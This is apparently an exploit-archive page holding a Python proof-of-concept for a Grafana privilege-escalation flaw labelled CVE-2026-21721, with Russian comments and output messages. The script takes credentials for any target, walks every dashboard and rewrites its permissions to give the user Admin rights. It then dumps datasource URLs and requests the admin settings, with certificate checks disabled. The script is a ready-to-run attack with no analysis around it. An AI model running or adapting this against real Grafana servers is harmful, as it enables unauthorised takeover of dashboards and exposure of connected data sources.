4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_CVE-2026-21721.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Grafana CVE-2026-21721 Exploit — Полная эскалация
Чтение всех разрешений + попытка записи Admin на всех дашбордах
"""

import requests
import urllib3
import sys

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_PATH = "/grafana"


def print_banner():
    print("""
╔════════════════════════════════════════════════════════════╗
║  CVE-2026-21721 Exploit — Полная эскалация до Admin        ║
║  На всех дашбордах                                         ║
╚════════════════════════════════════════════════════════════╝
""")


def авторизоваться(session, url, логин, пароль):
    print(f"[+] Авторизация как {логин}")

    данные = {"user": логин, "password": пароль}

    r = session.post(f"{url}{BASE_PATH}/login", json=данные, timeout=12)
    print(f"[+] /login → {r.status_code}")

    if r.status_code != 200:
        print(f"[-] Ошибка авторизации: {r.text}")
        sys.exit(1)

    print("[+] Авторизация прошла успешно")


def получить_user_id(session, url):
    r = session.get(f"{url}{BASE_PATH}/api/user", timeout=10)
    if r.status_code == 200:
        data = r.json()
        user_id = data.get('id')
        print(f"[+] Твой userId: {user_id}")
        return user_id
    print("[-] Не удалось получить userId")
    sys.exit(1)


def получить_дашборды(session, url):
    print("\n[+] Получаем список всех дашбордов...")
    r = session.get(f"{url}{BASE_PATH}/api/search?type=dash-db&query=", timeout=10)
    if r.status_code != 200:
        print(f"[-] Ошибка получения списка: {r.status_code} {r.text}")
        return []

    дашборды = r.json()
    print(f"[+] Найдено {len(дашборды)} дашбордов")
    return дашборды


def прочитать_разрешения(session, url, uid):
    путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions"
    r = session.get(путь, timeout=10)
    if r.status_code == 200:
        print(f"[+] Чтение {uid[:12]}... → 200")
        return r.json()
    print(f"[-] Чтение {uid[:12]}... → {r.status_code} {r.text}")
    return []


def применить_admin_права(session, url, uid, user_id):
    print(f"\n[+] Становимся админом на {uid[:12]}...")

    текущие = прочитать_разрешения(session, url, uid)
    if not текущие:
        print("[-] Не удалось прочитать разрешения")
        return False

    обновлённые = []
    добавлено = False

    for item in текущие:
        обновлённые.append(item)
        if item.get('userId') == user_id:
            item['permission'] = 4
            добавлено = True

    if not добавлено:
        обновлённые.append({
            "userId": user_id,
            "permission": 4
        })

    payload = {"items": обновлённые}

    путь = f"{url}{BASE_PATH}/api/dashboards/uid/{uid}/permissions"
    r = session.post(путь, json=payload, timeout=10)
    print(f"  → POST статус: {r.status_code}")
    print(f"  Ответ: {r.text}")

    if r.status_code == 200:
        print("  [+] УСПЕХ: Admin права применены")
        return True

    return False


def дамп_после(session, url):
    print("\n[+] Дамп после попыток")

    r_ds = session.get(f"{url}{BASE_PATH}/api/datasources", timeout=10)
    print(f"  Datasources → {r_ds.status_code}")
    if r_ds.status_code == 200:
        for ds in r_ds.json():
            print(f"    {ds.get('name')}: {ds.get('url')}")

    r_set = session.get(f"{url}{BASE_PATH}/api/admin/settings", timeout=10)
    print(f"  Настройки админа → {r_set.status_code}")


def main():
    print_banner()

    session = requests.Session()
    session.verify = False  # ← Вот эта строка отключает проверку сертификата

    url = input("[+] Введи цель (например https://grafana.com): ").strip()
    логин = input("[+] Логин: ").strip()
    пароль = input("[+] Пароль: ").strip()

    if not url.startswith("http"):
        url = "https://" + url

    авторизоваться(session, url, логин, пароль)

    user_id = получить_user_id(session, url)

    дашборды = получить_дашборды(session, url)
    if not дашборды:
        sys.exit(1)

    for db in дашборды:
        uid = db.get("uid")
        название = db.get("title", "—")[:50]
        if not uid:
            continue

        применить_admin_права(session, url, uid, user_id)

    дамп_после(session, url)

    print("\n[+] Завершено. Зайди в UI и проверь вкладку Permissions на всех дашбордах")


if __name__ == "__main__":
    main()